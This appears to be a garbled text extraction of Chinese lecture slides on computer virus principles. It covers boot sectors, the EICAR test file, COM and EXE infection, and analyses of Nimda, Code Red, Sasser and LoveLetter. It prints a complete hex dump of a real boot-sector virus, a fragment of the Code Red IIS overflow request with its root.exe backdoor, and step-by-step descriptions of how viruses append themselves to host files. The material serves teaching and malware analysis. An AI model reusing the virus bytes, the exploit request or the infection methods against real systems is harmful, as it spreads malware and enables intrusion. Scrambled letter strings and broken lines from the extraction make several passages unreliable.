计算机病毒原理与剖析

计算机病毒原理与剖析
3
复习一下:
ASCII
字符集
以字节为单位,每字节 8 bits
ts8 ,标准 ASCII
ISAC
取值范围: 0~127
,扩展版: 0~255
0x00~0x1F (31)
:控制字符 /
不可打印字符
0x20 (32)~0x7F (127)
:标准 ASCII
ISAC
可打印
字符( printable
ieanpbtrl
0x30~0x39
:数字 0~9
09~
0x41~0x5A
:大写字母 A~Z
0x61~0x7A
:小写字母 a~z
za~
0x80 (128)~0xFF(255)
ASCII
ISAC
扩展字符
4
复习一下:
标准 ASCII
字符集
4
4
5
复习一下:常见特殊含义的 ASCII
字符
0x1B
<ESC>
0x0D
:回车 <CR>
0x0A
:换行 <LF>
0x09
tab
<HT>
0x7F
:删除键 <DEL>
0x20(32)
:空格, 0x24(36)
$
,
0x2A
*
0x2E(46)
.
0x2F(47)
/
0x3A(58)
:
0x5C(92)
/
0x40(64)
@
中文( GB2312
):属于双字节字符集
DBCS
Double Byte Character Set
teraoyhDSBCtcuaerbl
),
两个 >0x80
的字节构成一个汉字码
6
复习一下: x86
汇编语言知识
通用寄存器:
ESI/SI
EDI/DI
EBP/BP
ESP/SP
16
位段寄存器: CS
DS
SS
ES
FS
GS
状态寄存器: EFLAGS/FLAGS
EIP/IP
x86
指令集常用指令: mov
,
cmp
,
nop
, push, pop,
jz/jnz/jmp/ja/jb/jg/jl
, add, sub,
sal/sar/shl/shr
,
and/or/
xor
/not, call, ret,
int
,
iret
, in, out, test
寻址方式:立即寻址、寄存器间接寻址、基址寻
址、变址寻址、基址加变址寻址、基址加变址加
偏移量寻址、带比例因子的变址寻址、基址加带
比例因子的变址寻址
AX
al
ah
EAX
DX
dl
dh
EDX
BX
bl
bh
EBX
CX
cl
ch
ECX
7
EICAR Test File
最简单的病毒
欧洲计算机防病毒研究所( EICAR
European
Institute for Computer Antivirus Research,
http://www.eicar.org/
)研制
反病毒厂商将此测试文件的特征码加入病毒
库,用来测试反病毒软件是否工作正常
68
个字节的纯文本(整个病毒体都是可显示字
符)内容如下:
X5O!P%@AP[4/PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H
FPELTZACDNRUVXHO%@
*
8
反汇编下的 EICAR
0BE1:0100 58 POP AX
0BE1:0101 354F21 XOR AX,214F
0BE1:0104 50 PUSH AX
0BE1:0105 254041 AND AX,4140
0BE1:0108 50 PUSH AX
0BE1:0109 5B POP BX
0BE1:010A 345C XOR AL,5C
0BE1:010C 50 PUSH AX
0BE1:010D 5A POP DX
0BE1:010E 58 POP AX
0BE1:010F 353428 XOR AX,2834
0BE1:0112 50 PUSH AX
0BE1:0113 5E POP SI
0BE1:0114 2937 SUB [BX],SI
0BE1:0116 43 INC BX
0BE1:0117 43 INC BX
0BE1:0118 2937 SUB [BX],SI
0BE1:011A 7D24 JGE 0140
0BE1:011C~0BE1:013F DB EICAR-STANDARDANTIVIRUS-
TEST-FILE!$
0BE1:0140 48 DEC AX
0BE1:0141 2B482A SUB CX,[BX+SI+2A]
读入com文件的时候,初始的地址偏移保存在AX中。
相当于MOV AX, 214F
AX=214F and 4140 = 0140
BX=0140
AX=0140 xor 005C = 011C
DX=011C
AX=214F ( 注意堆栈内容)
AX=097B
SI=097B
[BX]=[0140]=2B48, 执行后,[BX]=[0140]=2B48-097B=21CD
翻译成汇编语言就是 0BE1:0140 CD21 INT 21
[BX]=[0142]=2A48, 执行后,[BX]=[0142]=2A48-097B=20CD
翻译成汇编语言就是 0BE1:0142 CD20 INT 20
执行后原来的48 2B 48 2A指令序列变为CD 21 CD 20:
0BE1:0140 CD21 INT 21
0BE1:0142 CD20 INT 20
AH=09H ,故INT 21执行显示字符串功能,
字符串内容为DS:DX指向的字符串,以$为结束($不显示)。
9
病毒通常所具有的结构特征
感染标记
感染模块
触发模块
破坏模块
主控模块
10
病毒传播原理
传统方式
利用系统特点或诱骗用户,使得带毒
程序被执行
驻留内存(进入内存才会主动传播)
接管磁盘读写中断服务程序
接管程序入口,先执行病毒代码,然
后跳转到真正的程序代码入口
11
病毒传播原理(续)
传统方式
利用操作系统的漏洞、缓冲区溢出攻击
buffer overflow
)等手段,使得指令指针从
后门代码处开始执行
利用应用程序扩展功能的不安全性(如脚本、
宏的权限检查不严等)
修改注册表,伪装成系统进程,注入系统
社会工程学,利用人们的好奇心,网络谣言
特殊操作系统下固有的弱点(比如智能手机)
12
引导型病毒传播手段
病毒读取正常的引导扇区,并将引导扇区
保存到磁盘的空余位置
在引导扇区填写病毒内容
系统启动时,先将引导扇区的病毒内容读
入内存,然后病毒在完成驻留内存后再将
真正的引导扇区读入内存,进行通常的系
统引导
系统启动后,已经有病毒驻留内存,通过
接管中断服务例程等手段进行传播
13
硬盘数据的组织
硬盘寻址方式:
C/H/S
方式:柱面
(cylinder
0
开始 )
、磁头
(head
0
开始 )
、扇区
(sector
1
开始 )
、磁道
(track)
LBA
方式: Logical Block
Addressing
cylinder
head
track
sector
14
C/H/S
LBA
的转换:
假设 C
:当前柱面号, H
:当前磁头号, Cs
起始柱面号, Hs
:起始磁头号, Ss
:起始扇
区号, PS
:每磁道扇区数, PH
:每柱面磁头
数,则:
LBA=(C - Cs)
*
PH
*
PS + (H - Hs)
*
PS + (S - Ss)
C=LBA
div
(PH
*
PS)
+
Cs
H=(LBA
div
PS)
mod
PH
+
Hs
S=LBA
mod
PS
+
Ss
操作系统中最小访问单位:簇( cluster
15
DOS/Windows
soSdnDwOWi
硬盘逻辑结构
LBA:0
MBR
保留(未用)
C/H/S: 0/0/1
Partition 1
FAT
Boot
FAT1
FAT2
Root
DATA
Partition 2
NTFS
Boot
DATA
Extend
Partition
Logical Disk
Info
Logical Disk
Logical Disk
Info
Logical Disk
Logical Disk
Info
Logical Disk
cylinder 0
MFT MFTmirr
16
MBR
(主引导记录)格式
0000 33 C0 8E D0 BC 00 7C FB-50 07 50 1F FC BE 1B 7C 3.....|.P.P....|
0010 BF 1B 06 50 57 B9 E5 01-F3 A4 CB BD BE 07 B1 04 ...PW...........
0020 38 6E 00 7C 09 75 13 83-C5 10 E2 F4 CD 18 8B F5 8n.|.u..........
0030 83 C6 10 49 74 19 38 2C-74 F6 A0 B5 07 B4 07 8B ...It.8,t.......
0040 F0 AC 3C 00 74 FC BB 07-00 B4 0E CD 10 EB F2 88 ..<.t...........
0050 4E 10 E8 46 00 73 2A FE-46 10 80 7E 04 0B 74 0B N..F.s*.F..~..t.
0060 80 7E 04 0C 74 05 A0 B6-07 75 D2 80 46 02 06 83 .~..t....u..F...
0070 46 08 06 83 56 0A 00 E8-21 00 73 05 A0 B6 07 EB F...V...!.s.....
0080 BC 81 3E FE 7D 55 AA 74-0B 80 7E 10 00 74 C8 A0 ..>.}U.t..~..t..
0090 B7 07 EB A9 8B FC 1E 57-8B F5 CB BF 05 00 8A 56 .......W.......V
00A0 00 B4 08 CD 13 72 23 8A-C1 24 3F 98 8A DE 8A FC .....r#..$?.....
00B0 43 F7 E3 8B D1 86 D6 B1-06 D2 EE 42 F7 E2 39 56 C..........B..9V
00C0 0A 77 23 72 05 39 46 08-73 1C B8 01 02 BB 00 7C .w#r.9F.s......|
00D0 8B 4E 02 8B 56 00 CD 13-73 51 4F 74 4E 32 E4 8A .N..V...sQOtN2..
00E0 56 00 CD 13 EB E4 8A 56-00 60 BB AA 55 B4 41 CD V......V.`..U.A.
00F0 13 72 36 81 FB 55 AA 75-30 F6 C1 01 74 2B 61 60 .r6..U.u0...t+a`
0100 6A 00 6A 00 FF 76 0A FF-76 08 6A 00 68 00 7C 6A j.j..v..v.j.h.|j
0110 01 6A 10 B4 42 8B F4 CD-13 61 61 73 0E 4F 74 0B .j..B....aas.Ot.
0120 32 E4 8A 56 00 CD 13 EB-D6 61 F9 C3 49 6E 76 61 2..V.....a..Inva
0130 6C 69 64 20 70 61 72 74-69 74 69 6F 6E 20 74 61 lid partition ta
0140 62 6C 65 00 45 72 72 6F-72 20 6C 6F 61 64 69 6E ble.Error loadin
0150 67 20 6F 70 65 72 61 74-69 6E 67 20 73 79 73 74 g operating syst
0160 65 6D 00 4D 69 73 73 69-6E 67 20 6F 70 65 72 61 em.Missing opera
0170 74 69 6E 67 20 73 79 73-74 65 6D 00 00 00 00 00 ting system.....
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01B0 00 00 00 00 00 2C 44 63-88 95 88 95 00 00 80 01 .....,Dc........
01C0 01 00 07 FE FF FF 3F 00-00 00 FC 8A 38 01 00 00 ......?.....8...
01D0 C1 FF 07 FE FF FF 3B 8B-38 01 3B 8B 38 01 00 00 ......;.8.;.8...
01E0 C1 FF 0F FE FF FF 76 16-71 02 4B CE DF 06 00 00 ......v.q.K.....
01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ..............U.
0000 ~01BD
Main Boot Record
主引导记录 (446
字节 )
01BE~01CD
:分区信息
1(16
字节 )
01CE~01DD
:分区信息
2(16
字节 )
01DE~01ED
:分区信息
3(16
字节 )
01EE~01FD
:分区信息
4(16
字节 )
01FE
~
01FF
:标识
55 AA
17
分区表( Partition Table
)结构
4
个分区表项,每个表项 16
字节
DWORD 扇区数
0CH
起始 LBA
DWORD
08H
06H
的高 2
BYTE 位加上本字节)终止柱面
07H
(低 6
BYTE 位)终止扇区
06H
终止磁头号( HEAD
BYTE
05H
文件系统类型:如 07H
NTFS
0FH
Win95
扩展
分区
BYTE
04H
02H
的高 2
BYTE 位加上本字节)起始柱面号
03H
(低 6
BYTE 位)起始扇区号
02H
起始磁头号( HEAD
BYTE
01H
分区状态: 00H
:非活动分区, 80H
BYTE :活动分区
00H
偏移长度所表达的意义
例: 80
01
01
00
07
FE
FF FF
3F 00 00 00
FC 8A 38 01
18
FAT
引导扇区格式 (DOS622
软盘 )
0000 EB 3C 90 4D 53 44 4F 53-35 2E 30 00 02 01 01 00 .<.MSDOS5.0.....
0010 02 E0 00 40 0B F0 09 00-12 00 02 00 00 00 00 00 ...@............
0020 00 00 00 00 00 00 29 FE-11 1E 29 44 4F 53 36 32 ......)...)DOS62
0030 32 20 20 20 20 20 46 41-54 31 32 20 20 20 FA 33 2 FAT12 .3
0040 C0 8E D0 BC 00 7C 16 07-BB 78 00 36 C5 37 1E 56 .....|...x.6.7.V
0050 16 53 BF 3E 7C B9 0B 00-FC F3 A4 06 1F C6 45 FE .S.>|.........E.
0060 0F 8B 0E 18 7C 88 4D F9-89 47 02 C7 07 3E 7C FB ....|.M..G...>|.
0070 CD 13 72 79 33 C0 39 06-13 7C 74 08 8B 0E 13 7C ..ry3.9..|t....|
0080 89 0E 20 7C A0 10 7C F7-26 16 7C 03 06 1C 7C 13 .. |..|.&.|...|.
0090 16 1E 7C 03 06 0E 7C 83-D2 00 A3 50 7C 89 16 52 ..|...|....P|..R
00A0 7C A3 49 7C 89 16 4B 7C-B8 20 00 F7 26 11 7C 8B |.I|..K|. ..&.|.
00B0 1E 0B 7C 03 C3 48 F7 F3-01 06 49 7C 83 16 4B 7C ..|..H....I|..K|
00C0 00 BB 00 05 8B 16 52 7C-A1 50 7C E8 92 00 72 1D ......R|.P|...r.
00D0 B0 01 E8 AC 00 72 16 8B-FB B9 0B 00 BE E6 7D F3 .....r........}.
00E0 A6 75 0A 8D 7F 20 B9 0B-00 F3 A6 74 18 BE 9E 7D .u... .....t...}
00F0 E8 5F 00 33 C0 CD 16 5E-1F 8F 04 8F 44 02 CD 19 ._.3...^....D...
0100 58 58 58 EB E8 8B 47 1A-48 48 8A 1E 0D 7C 32 FF XXX...G.HH...|2.
0110 F7 E3 03 06 49 7C 13 16-4B 7C BB 00 07 B9 03 00 ....I|..K|......
0120 50 52 51 E8 3A 00 72 D8-B0 01 E8 54 00 59 5A 58 PRQ.:.r....T.YZX
0130 72 BB 05 01 00 83 D2 00-03 1E 0B 7C E2 E2 8A 2E r..........|....
0140 15 7C 8A 16 24 7C 8B 1E-49 7C A1 4B 7C EA 00 00 .|..$|..I|.K|...
0150 70 00 AC 0A C0 74 29 B4-0E BB 07 00 CD 10 EB F2 p....t).........
0160 3B 16 18 7C 73 19 F7 36-18 7C FE C2 88 16 4F 7C ;..|s..6.|....O|
0170 33 D2 F7 36 1A 7C 88 16-25 7C A3 4D 7C F8 C3 F9 3..6.|..%|.M|...
0180 C3 B4 02 8B 16 4D 7C B1-06 D2 E6 0A 36 4F 7C 8B .....M|.....6O|.
0190 CA 86 E9 8A 16 24 7C 8A-36 25 7C CD 13 C3 0D 0A .....$|.6%|.....
01A0 4E 6F 6E 2D 53 79 73 74-65 6D 20 64 69 73 6B 20 Non-System disk
01B0 6F 72 20 64 69 73 6B 20-65 72 72 6F 72 0D 0A 52 or disk error..R
01C0 65 70 6C 61 63 65 20 61-6E 64 20 70 72 65 73 73 eplace and press
01D0 20 61 6E 79 20 6B 65 79-20 77 68 65 6E 20 72 65 any key when re
01E0 61 64 79 0D 0A 00 49 4F-20 20 20 20 20 20 53 59 ady...IO SY
01F0 53 4D 53 44 4F 53 20 20-20 53 59 53 00 00 55 AA SMSDOS SYS..U.
0000 ~0002
jmp
指令
01FE
~
01FF
:标识
55 AA
0003~000A
:厂商版本号
000B~000C
:每扇区字节数
000D
:每簇扇区数
000E~000F
:保留扇区数
0010
FAT
数量
0011~0012
:根目录最大目录项数
0013~0014
:分区扇区总数,硬盘一般
00
00
0015
:介质描述,硬盘为 F8
0016~0017
:每 FAT
扇区数,硬盘一般
00
00
0018~0019
:每道扇区数,硬盘一般为
003F(63 sectors/track)
001A~001B
:每柱面磁头数,硬盘一般
00FF(255 heads/cylinder)
001C~001F
:隐藏扇区数( FAT12
001C~001D
以下内容 FAT12/FAT16/FAT32
各不相
同,以 FAT16
为例 :
0026
:扩展标记 0x29
0027~002A
:序列号
002B~0035
:卷标
0036~003D
:文件系统标识
19
NTFS
引导扇区格式( Win2003
0000 EB 52 90 4E 54 46 53 20-20 20 20 00 02 08 00 00 .R.NTFS .....
0010 00 00 00 00 00 F8 00 00-3F 00 FF 00 3F 00 00 00 ........?...?...
0020 00 00 00 00 80 00 80 00-FB 8A 38 01 00 00 00 00 ..........8.....
0030 00 00 0C 00 00 00 00 00-AF 88 13 00 00 00 00 00 ................
0040 F6 00 00 00 01 00 00 00-E6 F7 D0 98 17 D1 98 14 ................
0050 00 00 00 00 FA 33 C0 8E-D0 BC 00 7C FB B8 C0 07 .....3.....|....
0060 8E D8 E8 16 00 B8 00 0D-8E C0 33 DB C6 06 0E 00 ..........3.....
0070 10 E8 53 00 68 00 0D 68-6A 02 CB 8A 16 24 00 B4 ..S.h..hj....$..
0080 08 CD 13 73 05 B9 FF FF-8A F1 66 0F B6 C6 40 66 ...s......f...@f
0090 0F B6 D1 80 E2 3F F7 E2-86 CD C0 ED 06 41 66 0F .....?.......Af.
00A0 B7 C9 66 F7 E1 66 A3 20-00 C3 B4 41 BB AA 55 8A ..f..f. ...A..U.
00B0 16 24 00 CD 13 72 0F 81-FB 55 AA 75 09 F6 C1 01 .$...r...U.u....
00C0 74 04 FE 06 14 00 C3 66-60 1E 06 66 A1 10 00 66 t......f`..f...f
00D0 03 06 1C 00 66 3B 06 20-00 0F 82 3A 00 1E 66 6A ....f;. ...:..fj
00E0 00 66 50 06 53 66 68 10-00 01 00 80 3E 14 00 00 .fP.Sfh.....>...
00F0 0F 85 0C 00 E8 B3 FF 80-3E 14 00 00 0F 84 61 00 ........>.....a.
0100 B4 42 8A 16 24 00 16 1F-8B F4 CD 13 66 58 5B 07 .B..$.......fX[.
0110 66 58 66 58 1F EB 2D 66-33 D2 66 0F B7 0E 18 00 fXfX..-f3.f.....
0120 66 F7 F1 FE C2 8A CA 66-8B D0 66 C1 EA 10 F7 36 f......f..f....6
0130 1A 00 86 D6 8A 16 24 00-8A E8 C0 E4 06 0A CC B8 ......$.........
0140 01 02 CD 13 0F 82 19 00-8C C0 05 20 00 8E C0 66 ........... ...f
0150 FF 06 10 00 FF 0E 0E 00-0F 85 6F FF 07 1F 66 61 ..........o...fa
0160 C3 A0 F8 01 E8 09 00 A0-FB 01 E8 03 00 FB EB FE ................
0170 B4 01 8B F0 AC 3C 00 74-09 B4 0E BB 07 00 CD 10 .....<.t........
0180 EB F2 C3 0D 0A 41 20 64-69 73 6B 20 72 65 61 64 .....A disk read
0190 20 65 72 72 6F 72 20 6F-63 63 75 72 72 65 64 00 error occurred.
01A0 0D 0A 4E 54 4C 44 52 20-69 73 20 6D 69 73 73 69 ..NTLDR is missi
01B0 6E 67 00 0D 0A 4E 54 4C-44 52 20 69 73 20 63 6F ng...NTLDR is co
01C0 6D 70 72 65 73 73 65 64-00 0D 0A 50 72 65 73 73 mpressed...Press
01D0 20 43 74 72 6C 2B 41 6C-74 2B 44 65 6C 20 74 6F Ctrl+Alt+Del to
01E0 20 72 65 73 74 61 72 74-0D 0A 00 00 00 00 00 00 restart........
01F0 00 00 00 00 00 00 00 00-83 A0 B3 C9 00 00 55 AA ..............U.
0000 ~0002
jmp
指令
01FE
~
01FF
:标识
55 AA
0003~000A
:厂商版本号
000B~000C
:每扇区字节数
000D
:每簇扇区数
000E~000F
:保留
0010~0012
:保留,总为
00
00
00
0013~0014
:未用, 00 00
0015
:介质描述,硬盘为 F8
0016~0017
:一般为 00
00
0018~0019
:每道扇区数,硬盘一般
003F(63 sectors/track)
001A~001B
:每柱面磁头数,一般
00FF(255 heads/cylinder)
001C~001F
:隐藏扇区数
0020~0023
:未用, 00000000
0024~0027
:未用, 00000000
0028~002F
:扇区总数( int64
0030~0037
_______ $MFT
的逻辑簇号
0038~003F
$
MFTMirr
的逻辑簇号
0040~0043
:每 MFT
记录簇数
0044~0047
:每索引簇数
0048~004F
:卷序列号
0050~0053
:校验和( 00000000
20
引导型病毒实样分析
0000 E9 CD 01 4D 53 44 4F 53-35 2E 30 00 02 01 01 00 ...MSDOS5.0.....
0010 02 E0 00 40 0B F0 09 00-12 00 02 00 00 00 00 00 ...@............
0020 1E 56 57 50 51 52 E8 99-01 80 FC 02 75 0E 52 2B .VWPQR......u.R+
0030 C0 CD 1A 80 FA 40 5A 73-03 E8 A9 00 5A 59 58 5F [email protected]_
0040 52 51 50 83 F9 03 73 3A-3A 34 75 36 80 FC 02 74 RQP...s::4u6...t
0050 0E 80 FC 03 75 2C 80 FA-80 72 27 2A E4 EB 23 E8 ....u,...r'*..#.
0060 2E 00 72 21 E8 F8 00 74-08 E8 FB 00 74 03 F8 EB ..r!...t....t...
0070 14 E8 0A 01 8A 74 01 58-E8 15 00 E8 61 01 59 5A .....t.X....a.YZ
0080 EB 06 E8 0B 00 1F 1F 1F-5E 1F CA 02 00 B8 01 02 ........^.......
0090 9C 2E FF 1E FC 01 C3 CD-12 BE 4C 00 56 2E 80 3E ..........L.V..>
00A0 6F 01 02 74 0E E8 F5 00-BF FC 01 B9 02 00 FC F3 o..t............
00B0 A5 EB 03 E8 EB 00 5E C7-04 20 00 89 44 02 0E 1F ......^.. ..D...
00C0 E8 E7 00 06 B8 CA 00 50-FB CB 8E C1 8B DC 51 53 .......P......QS
00D0 BA 80 00 E8 EC 00 E8 0C-00 B1 0E BA 00 01 E8 AC ................
00E0 FF E8 FB 00 CB 2B C9 41-51 8A 34 E8 9F FF 72 64 .....+.AQ.4...rd
00F0 E8 6C 00 74 5F E8 6F 00-75 21 26 83 BF FA 01 00 .l.t_.o.u!&.....
0100 74 52 26 C7 87 FA 01 00-00 B1 01 E8 48 00 72 44 tR&.........H.rD
0110 41 8A 74 02 E8 76 FF 72-3B 58 51 E8 60 00 E8 BE A.t..v.r;XQ.`...
0120 00 46 E8 31 00 4E 72 2C-E8 B4 00 51 E8 7B 00 59 .F.1.Nr,...Q.{.Y
0130 52 80 FA 80 73 02 32 D2-26 89 97 DC 00 5A 26 88 R...s.2.&....Z&.
0140 8F DA 00 26 C7 87 FE 01-55 AA 59 51 26 88 8F 6F ...&....U.YQ&..o
0150 01 E8 02 00 58 C3 8A 34-B8 01 03 E8 32 FF C3 26 ....X..4....2..&
0160 81 BF FA 01 19 92 C3 26-81 BF 19 01 50 61 C3 01 .......&....Pa..
0170 00 01 01 00 00 00 02 05-09 0B 03 05 0E 0E 57 56 ..............WV
0180 26 8A 47 14 B9 04 00 8B-F1 4E 38 84 76 01 74 06 &.G......N8.v.t.
0190 E2 F5 B1 03 EB 04 8A 8C-7A 01 5E 5F C3 48 A3 13 ........z.^_.H..
01A0 04 B1 06 D3 E0 04 20 8E-C0 C3 56 8B FB BE 20 00 ...... ...V... .
01B0 03 FE FC B9 DC 01 F3 A4-8B FB 2B F6 B1 03 F3 A4 ..........+.....
01C0 5E C3 0E 1F BE 70 01 80-FA 80 72 03 BE 73 01 C3 ^....p....r..s..
01D0 FA 2B DB 8E DB 8E D3 BC-00 7C EA 97 00 C0 07 57 .+.......|.....W
01E0 51 50 8B FB B9 00 02 FC-26 8A 05 34 2E AA E2 F8 QP......&..4....
01F0 58 59 5F C3 6D 8F 8E 8B-85 99 19 92 00 00 55 AA XY_.m.........U.
起始跳转:E9 CD 01 vs EB xx 90
跳转后的起始指令:
(感染病毒的)
FA cli
2BDB sub bx, bx
8EDB mov ds, bx
8ED3 mov ss, bx
BC007C mov sp, 7C00
EA9700C007 jmp 07C0:0097
( 正常的)
FA cli
33C0 xor ax, ax
8ED0 mov ss, ax
BC007C mov sp, 7C00
16 push ss
07 pop es
BB7800 mov bx, 0078
...
21
DOS
病毒传播手段
极少数会自动激活,一般都是要手工运行带毒程
序后才会激活,或者由系统或其他应用程序自动
调用,比如 command.com
利用操作系统搜索可执行文件的优先级、 PATH
环境变量等
驻留内存,接管磁盘读写中断服务程序
接管程序入口,先执行病毒代码,然后跳转到真
正的程序代码入口
主动搜索根目录下的 command.com
、当前目录下
com
exe
程序,以及被执行的 com
exe
程序。
一般来说附着在文件的最后,或者开始,通常会
改变文件大小。
22
Windows
sodnwWi
病毒传播手段
接管程序入口,先执行病毒代码,然后跳
转到真正的程序代码入口
修改注册表、启动程序组
利用系统和应用程序扩展接口、 hook
数等注入系统,比如 Browser Helper
Objects(BHOs
tscebBHOj
)
IFSHook
等。
伪装成系统服务程序( service
scervi
)在系统启
动时自动运行
利用系统漏洞主动传播
利用程序代码段的空隙隐藏病毒代码
23
电子函件病毒传播手段
一般针对 Outlook/Outlook Express
lseoxuOoptkr 使用 HTML
格式的邮件,内嵌脚本通过
Windows Scripting Host
itsronpWSstgdci 执行附件程序。
利用 Outlook Express
Windows Active
Desktop
的预览功能进行自动传播。
iframe
src
=xxx. . . >
通过
通讯簿
确定传播目标,标题较吸
引人,或会随机改变,以迷惑收件人。
24
电子函件病毒 Nimda
实样分析
Content-Type: text/html;
charset
="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY
bgColor
=3D#ffffff>
iframe
src
=
3Dcid:
EA4DMGBP9p
height=3D0 width=3D0>
</
iframe
></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="
readme.exe
"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAA
. . .
25
利用系统漏洞传播手段
利用操作系统或应用程序的漏洞,或者缺
省配置的不安全性
产生特定的后门服务,或添加后门帐号
漏洞侵入后可执行任何文件
系统缺省安装存在这些漏洞,并且大多数
的系统管理员并不主动打补丁
主动往网络中发送数据(感染下一个机器
或数据外泄)
26
红色代码 2
病毒实样分析
利用 IIS
处理 URL
的缓冲区溢出漏洞
GET /
default.ida?XX
XX%u9090%u6858%ucbd3
c035689bdX%
=a
HTTP/1.0
复制 cmd.exe
root.exe
作为后门
一旦成功,以后可以通过
http://IP.Address/root.exe?
cmd
这样的方式来远程执行命令。
随机产生 IP
地址进行传播
没打补丁的 IIS
对可执行文件没有任何限
制,甚至可以执行 format
等命令
27
堆栈溢出的典型攻击方式
超长、超
变态
的内容。
往往包含不可显示字符,需要特殊手段
来输入。
攻击只是植入病毒程序,破坏或窃取信
息依靠病毒程序本身来完成。
通常植入(攻击)程序和病毒(破坏)
程序是分离的。
文件共享服务、 RPC
、网络服务、用户
验证模块等往往是首选的攻击目标
28
震荡波
病毒 (
Sasser
)
的实样分析
通过 Windows
snWdiow
网络文件共享
Windows
snWdiow
默认共享 IPC$
C$
D$...
利用本地安全验证子系统( lsass.exe
)里
的一个缓冲区溢出错误
感染后建立一个 FTP server
ervFPTse
,然后探测网
上具有 lsass.exe
漏洞的机器,发送一个特
定的数据包,使得缓冲溢出后自动执行数
据包中有关 ftp
下载的脚本,从 FTP
server
serve
上获取并植入病毒代码
29
病毒破坏原理
修改某一中断向量入口地址,使该中断
向量指向病毒程序的破坏模块
开放性,如磁盘 I/O
操作、对地址簿、注
册表的访问等,缺省配置下没有限制
对系统级操作( Ring 0
级)没有限制
利用操作模式的固有弱点(如 DoS
攻击)
利用 Windows Scripting Host
itsronpWSstgdci 或应用程序
脚本支持功能运行脚本
30
病毒破坏原理(续)
病毒破坏的主要目标和攻击部位:系统数
据区、可执行文件、内存、系统运行、运
行速度、磁盘、屏幕显示、键盘、喇叭、
打印机、 CMOS
、主板等。
现在木马程序、黑客程序等更多地倾向于
资料窃取,在合法的网络中非法地传递数
据。
31
进行破坏的触发条件
特定的日期、时间
感染或被执行的次数
发现特定的程序
特定的中断调用或系统调用
无条件触发(每次被执行即进行破
坏)
32
台湾 1
宏病毒的破坏分析
病毒代码分析
自动植入三个宏: AutoNew
eouAwNt
AutoOpen
onpuAOte
AutoClose
leouAsCt
限制
另存为 …”
命令的保存格式为 .dot
判断当天是否为 13
若是,则开始要求用户计算五个随机数
的乘法
计算正确,显示信息,计算错误,弹出
20
个新文档窗口
33
LoveLetter
病毒破坏分析
病毒代码分析
植入自身副本到系统中
设置注册表中 run
分支的启动项,随系统
启动而运行
植入 html
lhmt
文件
通过注册表获取通讯录,并按通讯录地址
散发病毒
搜索感染硬盘上的文件,将自身添加
.
vbs
, .
vbe
文件中,并覆盖掉 .mp3, .jpg
等文件
34
病毒
寄生
原理
利用可执行文件格式的特点
Windows PE
sodnPEwWi
格式有大量空白区域可
以填充其他代码
很多文件格式是公开的,校验和
checksum
)算法很容易实现
Windows
sodnwWi
操作系统提供很多 hook
很容易将病毒代码嵌入到操作系统
中,随操作系统的运行而运行
35
COM
文件的特点
文件大小不超过 65024
字节
代码段、数据段、扩展数据段、堆栈段初
始时相同(即 DS
ES
SS
CS
相同)
一般以 JMP
JPM
指令开头( E9
EB
),通常
数据在前,指令在后
加载到内存的 CS:100H
PSP
Jmp
xxx
Data
Code
stack
0000H
0100H
FEFFH
FFFFH
36
病毒
寄生
COM
文件过程
搜索到宿主文件
取得首跳转地址和文件长度,然后将病毒
体复制到文件的末尾,修改跳转地址,然
后再在病毒代码的最后添加一个无条件跳
转,回到程序的真正起点
E9
3C02
JMP
033F
033F
MOV AX, 1000
MOV CX, 1000
0100
04FF
原始宿主文件
E9
FD03
JMP
0500
033F
MOV AX, 1000
MOV CX, 1000
0100
04FF
感染后的文件
MOV BX, 0000
E9
39FE
JMP
033F
0500
0xFE39 = -0x1C6
37
EXE
文件的特点
MZ
(4D 5A)
开头,有文件头结构。
在原有基础上, Win16
程序扩展
NE
件头结构, 16/32
混合模式的驱动程序扩
LE
文件头结构, Win32
程序扩展
PE
文件头结构
文件头内有 16 bits
ts16 的校验和( checksum
分代码段、数据段等。
加载到内存的时候需要内存空间重定位
(relocation)
38
MZ
可执行文件头结构
Overlay
码,对于主程序来说总为 0
WORD
1A
WORD 首个重定向表项的偏移量
18
指令段的偏移量(单位:段),每段 16 bytes
WORD
16
程序入口,即指令寄存器 IP
WORD 的初始值
14
Checksum
,或 0000
WORD
12
堆栈指针寄存器 SP
WORD 的初始值
10
堆栈段的偏移量(单位:段),每段 16 bytes
WORD
0E
程序运行所需最大段数,每段 16 bytes
,一般为 FFFF
WORD
0C
程序运行所需最小段数,每段 16 bytes
WORD
0A
文件头段数,每段 16 bytes
WORD
08
WORD 重定向表项项数
06
文件的块数,每块 512 bytes
WORD
04
文件最后一块的字节数,每块
512 bytes
WORD
02
标识,
MZ
(4D 5A)
2 bytes
00
偏移量类型含义
39
MZ
可执行文件头实例
ATTRIB.EXE 11,208 bytes
0000h: 4D 5A C8 01 16 00 01 00 08 00 48 02 FF FF BD 02 MZ?......H. ?
0010h: 00 02 00 00 00 01 F0 FF 52 00 00 00 0F 01 50 4B ......?R.....PK
0020h: 4C 49 54 45 20 43 6F 70 72 2E 20 31 39 39 30 2D LITE Copr. 1990-
0030h: 39 32 20 50 4B 57 41 52 45 20 49 6E 63 2E 20 41 92 PKWARE Inc. A
0040h: 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 ll Rights Reserv
0050h: 65 64 07 00 00 00 E4 01 1F 00 00 00 20 00 04 01 ed....?.... ....
0060h: FF FF FE 03 80 00 00 00 10 00 A7 03 1E 00 00 00 ? €.....?....
0070h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0080h: B8 EF 04 BA B5 02 05 00 00 3B 06 02 00 72 1B B4 革.旱....;...r.?
0090h: 09 BA 18 01 CD 21 CD 20 4E 6F 74 20 65 6E 6F 75 .?..?!? Not enou
00a0h: 67 68 20 6D 65 6D 6F 72 79 24 2D 20 00 8E D0 2D gh memory$- . 幮-
00b0h: 19 00 90 8E C0 50 B9 C4 00 33 FF 57 BE 44 01 FC .. 悗繮鼓.3 W綝.?
文件大小
=(
0x0016 - 1
)
*
512+
0x01C8
=11208 bytes
40
NE
可执行文件头结构
